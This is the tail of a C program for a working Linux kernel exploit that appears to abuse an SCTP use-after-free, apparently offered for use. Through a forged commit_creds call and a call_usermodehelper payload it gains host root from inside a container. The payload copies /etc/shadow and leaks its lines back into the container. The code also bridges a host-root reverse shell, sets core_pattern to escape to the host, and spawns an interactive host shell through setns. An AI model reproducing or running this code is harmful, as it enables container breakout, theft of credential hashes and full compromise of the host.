			"{ echo \"[HOST-ROOT] id=$(id)\"; echo \"[HOST] host=$(hostname) kernel=$(uname -r)\"; "
			  "echo \"[HOST] /etc/hostname=$(cat /etc/hostname 2>/dev/null)\"; } > /tmp/umh_result 2>&1\n"
			"cp /etc/shadow /tmp/umh_host_shadow 2>/dev/null\n"
			"cp /tmp/umh_result \"$R/esc_ok\" 2>/dev/null\n"
			"head -2 /etc/shadow >> \"$R/esc_ok\" 2>/dev/null\n"
			"echo \"umh-container-escape via call_usermodehelper (no mount, default seccomp)\" > /UMH_ESCAPE_PROOF_ON_HOST 2>/dev/null\n"
			"sync\n", g_global_pid?g_global_pid:(uint32_t)getpid());
		}
		// write to the container-local name that g_umh_path points back at
		const char *local = (strncmp(g_umh_path,"/proc/",6)==0) ? "/p" : g_umh_path;
		int hf=open(local,O_WRONLY|O_CREAT|O_TRUNC,0755);
		if(hf>=0){ if(write(hf,H,strlen(H))<0){} fsync(hf); close(hf); }
		printf("[umh] payload staged (local=%s, kernel execs %s as HOST ROOT)\n",local,g_umh_path);
		fflush(stdout);
	}

	// ---- fire: close with SO_LINGER=0 -> ABORT flush -> select active_path(tp1)
	//      -> packet_config -> get_dst=commit_creds(fake_T) ----
	if(getenv("DIAGSZ")){
		uint32_t ap=arb_read32(g_zk,g_sk,asoc+ASOC_ACTIVE_PATH);
		uint32_t pp=arb_read32(g_zk,g_sk,asoc+ASOC_PRIMARY_PATH);
		uint32_t psz=arb_read32(g_zk,g_sk,S+P_SIZE);
		uint32_t poh=arb_read32(g_zk,g_sk,S+P_OVERHEAD);
		uint32_t ptl=arb_read32(g_zk,g_sk,S+P_TRANSPORT);
		printf("[diag] active_path.lo=0x%08x primary.lo=0x%08x S(tp1).lo=0x%08x | pkt.size=0x%x overhead=0x%x transport.lo=0x%08x fakeT.lo=0x%08x\n",
			ap,pp,(uint32_t)S,psz,poh,ptl,(uint32_t)fake_T_k); fflush(stdout);
		if(getenv("DIAG_ONLY")){ printf("[diag] DIAG_ONLY: not firing trigger; exec sleep\n"); fflush(stdout);
			char*const a[]={"/bin/sleep","600",NULL}; execv("/bin/sleep",a); }
	}
	struct linger lg={1,0}; setsockopt(A2,SOL_SOCKET,SO_LINGER,&lg,sizeof lg);
	if(getenv("DIAG_SLEEP")){ printf(" TRACE_NOW pid=%d\n",getpid()); fflush(stdout); sleep(atoi(getenv("DIAG_SLEEP"))); }
	close(A2);
	printf(" close() returned\n");
	// ---- UMH mode: success is NOT a capability delta in THIS process. The kernel queued
	//      call_usermodehelper(path=our string) which a workqueue thread execs as root in
	//      the INIT namespaces. Poll for the payload's side effect (it writes /tmp/umh_result
	//      inside whatever rootfs it ran in, and /UMH_ESCAPE_PROOF_ON_HOST on the host fs).
	if(umh_mode){
		if(shell_mode() && g_shell_lfd>=0){
			// interactive: accept the host-root reverse shell and bridge it to our terminal.
			shell_bridge();
			hold_and_exit(0);  // shell done: exit cleanly, child holds victims
			return 0;
		}
		// The payload runs in the INIT mount ns (the HOST fs), so its output files are NOT
		// visible from inside this container -- polling our own "/" would always miss. Use
		// the /proc/<globalpid>/root indirection in reverse: the payload writes a copy into
		// OUR rootfs via that path, which we can then see locally at /esc_ok.
		char local_ok[64]; snprintf(local_ok,sizeof local_ok,"/esc_ok");
		int hit=0;
		for(int i=0;i<100 && !hit;i++){
			usleep(100000);
			if(access(local_ok,R_OK)==0 || access("/tmp/umh_result",R_OK)==0
			   || access("/UMH_ESCAPE_PROOF_ON_HOST",R_OK)==0) hit=1;
		}
		printf("[umh] post-trigger: esc_ok=%s umh_result=%s host_proof=%s\n",
		       access(local_ok,R_OK)==0?"YES":"no",
		       access("/tmp/umh_result",R_OK)==0?"YES":"no",
		       access("/UMH_ESCAPE_PROOF_ON_HOST",R_OK)==0?"YES":"no");
		if(hit){
			printf("[umh] +++ HOST-ROOT CODE EXECUTION via call_usermodehelper (no mount, DEFAULT seccomp) +++\n");
			int f=open("/UMH_PROOF",O_WRONLY|O_CREAT|O_TRUNC,0666);
			if(f>=0){ const char *m="UMH escape: call_usermodehelper ran our payload as root in init ns\n";
			          if(write(f,m,strlen(m))<0){} fsync(f); close(f); } sync();
			{ int r=open(access(local_ok,R_OK)==0?local_ok:"/tmp/umh_result",O_RDONLY); char b[512]; int n;
			  if(r>=0){ printf("--- payload output (ran as host root) ---\n");
			            while((n=read(r,b,sizeof b))>0) { if(write(1,b,n)<0) break; } close(r); } }
		} else {
			printf("[umh] no side-effect visible from inside the container -- check the HOST for\n"
			       "      /UMH_ESCAPE_PROOF_ON_HOST and /tmp/umh_result (the payload runs in the\n"
			       "      init mount ns, so its files land on the HOST fs, not in this rootfs)\n");
		}
		fflush(stdout);
		hold_and_exit(0);  // proof written: exit cleanly, child holds victims
		return 0;
	}
	int after = cap_sysadmin();
	printf(" uid=%d euid=%d CAP_SYS_ADMIN(after)=%d capeff=0x%llx\n",
	       getuid(),geteuid(),after,cap_effective());
	// Success = we now hold CAP_SYS_ADMIN (default container drops it), i.e. the
	// commit_creds fake cred (CAP_FULL_SET in init_user_ns) took effect. uid was
	// already 0 in the container, so this -- not shadow -- is the real signal.
	if(after==1){
		if(before==1)
			printf(" (note: CAP_SYS_ADMIN already held -- privileged container, delta not distinguishable)\n");
		printf("+ LPE CONFIRMED: root w/ CAP_FULL_SET in init_user_ns (host root) +++\n");
		fflush(stdout);
		// Durable, fsync'd success marker so a retry harness can distinguish a real LPE
		// from a crash-reboot (the marker only exists if commit_creds fired -> uid 0 here).
		// Written to disk (/root, not tmpfs) + fsync + sync so it survives the post-payload
		// reboot that the dangling-victim teardown can trigger.
		{ for(const char*pth=0,**pp=(const char*[]){"/root/LPE_PROOF","/tmp/LPE_PROOF",0}; (pth=*pp); pp++){
		    int f=open(pth,O_WRONLY|O_CREAT|O_TRUNC,0666);
		    if(f>=0){ char m[96]; int n=snprintf(m,sizeof m,"LPE uid=%d euid=%d capsysadmin=%d\n",getuid(),geteuid(),after);
		      if(write(f,m,n)<0){} fsync(f); close(f); } } sync(); }
		// ---- FULL CONTAINER ESCAPE: with CAP_SYS_ADMIN in the init user ns we set
		//      the global kernel.core_pattern to a handler the kernel runs as HOST
		//      root (host mount ns) -> genuine container breakout on cgroup v2. ----
		if(host_escape()==0) printf("[esc] +++ CONTAINER ESCAPE OK: host handler ran as root +++\n");
		else                 printf("[esc] host escape did not confirm (see notes)\n");
		show_escape_proof();
		fflush(stdout);
		// Pop an interactive HOST-root shell. fork(): the PARENT holds every dangling
		// victim socket open forever (closing one -> sctp_close on a freed transport ->
		// BUG), while the CHILD drops those fds (safe -- the parent keeps the real
		// refcount, so no sctp_close fires), best-effort steps into PID 1's namespaces
		// (a real host shell when the container shares them, e.g. --pid=host), and execs
		// a shell carrying our host-level credentials.
		pid_t c=fork();
		if(c==0){
			for(int fd=3; fd<4096; fd++) close(fd);
			int f;
			if((f=open("/proc/1/ns/net",O_RDONLY))>=0){ setns(f,CLONE_NEWNET); close(f); }
			if((f=open("/proc/1/ns/mnt",O_RDONLY))>=0){ setns(f,CLONE_NEWNS);  close(f); }
			setenv("PS1","host-root# ",1);
			char*const bash[]={"/bin/bash","-i",NULL}; execv("/bin/bash",bash);
			char*const sh[]  ={"/bin/sh","-i",NULL};   execv("/bin/sh",sh);
			_exit(0);
		}
		char*const a[]={"/bin/sleep","2147483647",NULL}; execv("/bin/sleep",a);  // parent holds victim fds
		return 0;
	}
	printf("[x] escalation NOT confirmed (CAP_SYS_ADMIN before=%d after=%d)\n",before,after);
	return 0;
}